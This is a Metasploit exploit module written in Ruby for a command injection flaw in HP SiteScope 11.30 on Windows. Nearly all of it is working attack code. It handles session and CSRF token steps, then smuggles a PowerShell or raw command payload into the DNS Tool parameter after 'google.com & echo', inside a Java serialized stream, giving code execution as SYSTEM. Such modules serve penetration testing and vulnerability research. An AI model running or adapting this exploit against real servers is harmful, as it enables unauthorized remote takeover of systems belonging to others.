HP SiteScope DNS Tool Command Injection

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'msf/core/exploit/powershell'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Powershell  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'HP SiteScope DNS Tool Command Injection',  
'Description' => %q{  
This module exploits a command injection vulnerability  
discovered in HP SiteScope 11.30 and earlier versions (tested in 11.26  
and 11.30). The vulnerability exists in the DNS Tool allowing an  
attacker to execute arbitrary commands in the context of the service. By  
default, HP SiteScope installs and runs as SYSTEM in Windows and does  
not require authentication. This vulnerability only exists on the  
Windows version. The Linux version is unaffected.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Kirk Hayes', # @kirkphayes / Vulnerability Discovery and MSF module author  
'Charles Riggs', # c0v3rt_chann3l / Vulnerability Discovery  
'Juan Vazquez' # help with MSF module  
],  
'References' =>  
[  
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/10/09/r7-2015-17-hp-sitescope-dns-tool-command-injection'],  
['URL', 'http://www8.hp.com/us/en/software-solutions/sitescope-application-monitoring/index.html'] # vendor site  
],  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'HP SiteScope 11.30 / Microsoft Windows 7 and higher',  
{  
'Arch' => [ARCH_X86_64, ARCH_X86]  
}  
],  
[ 'HP SiteScope 11.30 / CMD',  
{  
'Arch' => [ARCH_CMD]  
}  
]  
],  
'Privileged' => false,  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Oct 9 2015'))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('SITE_SCOPE_USER', [false, 'Username for authentication', '']),  
OptString.new('SITE_SCOPE_PASSWORD', [false, 'Password for authentication', '']),  
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])  
], self.class)  
end  
  
def exploit  
initial_session = get_initial_session_id  
redirect = authenticate(initial_session)  
session = get_authenticated_session_id(initial_session, redirect)  
csrf_token = get_csrf_token(session)  
  
print_status("#{peer} - Executing payload")  
random_mark = Rex::Text.rand_text_alpha(5 + rand(5))  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path.to_s, 'remoteProxy'),  
'method' => 'POST',  
'vars_get' => {  
'OWASP_CSRFTOKEN' => csrf_token  
},  
'cookie' => session,  
'ctype' => 'application/octet- serializable object',  
'data' => build_stream(random_mark)  
}, 5)  
  
if res && res.code == 200 && res.body  
res_io = StringIO.new(res.body.to_s)  
res_stream = Rex::Java::Serialization::Model::Stream.decode(res_io)  
return if res_stream.nil?  
show = false  
res_stream.references.each do |ref|  
if ref.class == Rex::Java::Serialization::Model::Utf && show  
print_good(ref.contents)  
next  
elsif ref.class == Rex::Java::Serialization::Model::Utf && ref.contents.include?(random_mark)  
show = true  
next  
end  
end  
end  
end  
  
def get_initial_session_id  
print_status("#{peer} - Retrieving an initial JSESSIONID...")  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path.to_s, 'servlet', 'Main'),  
'method' => 'POST'  
)  
  
if res and res.code == 200 and res.get_cookies.include?('JSESSIONID')  
session_id = res.get_cookies  
else  
fail_with(Failure::Unknown, "#{peer} - Retrieve of initial JSESSIONID failed")  
end  
  
session_id  
end  
  
def authenticate(session_id)  
print_status("#{peer} - Authenticating on HP SiteScope Configuration...")  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path.to_s, 'j_security_check'),  
'method' => 'POST',  
'cookie' => session_id,  
'vars_post' => {  
'j_username' => datastore['SITE_SCOPE_USER'],  
'j_password' => datastore['SITE_SCOPE_PASSWORD']  
}  
})  
  
if res && res.code == 302  
redirect = URI(res.headers['Location']).path  
else  
fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")  
end  
  
redirect  
end  
  
def get_authenticated_session_id(session_id, redirect)  
print_status("#{peer} - Following redirection to finish authentication...")  
  
res = send_request_cgi(  
{  
'uri' => redirect,  
'method' => 'GET',  
'cookie' => session_id  
})  
  
if res && res.code == 200 && res.get_cookies.include?('JSESSIONID')  
auth_session = res.get_cookies  
else  
fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")  
end  
  
auth_session  
end  
  
def get_csrf_token(session)  
print_status("#{peer} - Getting anti-CSRF token...")  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path.to_s, 'jsp', 'tabs.jsp'),  
'cookie' => session  
)  
  
if res && res.code == 302 && res.headers['Location'] =~ /OWASP_CSRFTOKEN=([A-Z0-9\-]+)/  
csrf_token = $1  
else  
fail_with(Failure::Unknown, "#{peer} - Failed to get anti-CSRF token")  
end  
  
csrf_token  
end  
  
def build_stream(random_mark)  
site = "google.com & echo #{random_mark} & "  
if target.arch.include?('cmd')  
command = payload.encoded  
else  
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)  
end  
  
file = File.join( Msf::Config.data_directory, 'exploits', 'CVE-pending', 'stream.raw')  
  
f = File.new(file, 'rb')  
stream = Rex::Java::Serialization::Model::Stream.decode(f)  
f.close  
  
dns_param = stream.references[0x44]  
dns_param.contents = site + command  
dns_param.length = dns_param.contents.length  
  
stream.encode  
end  
end  
`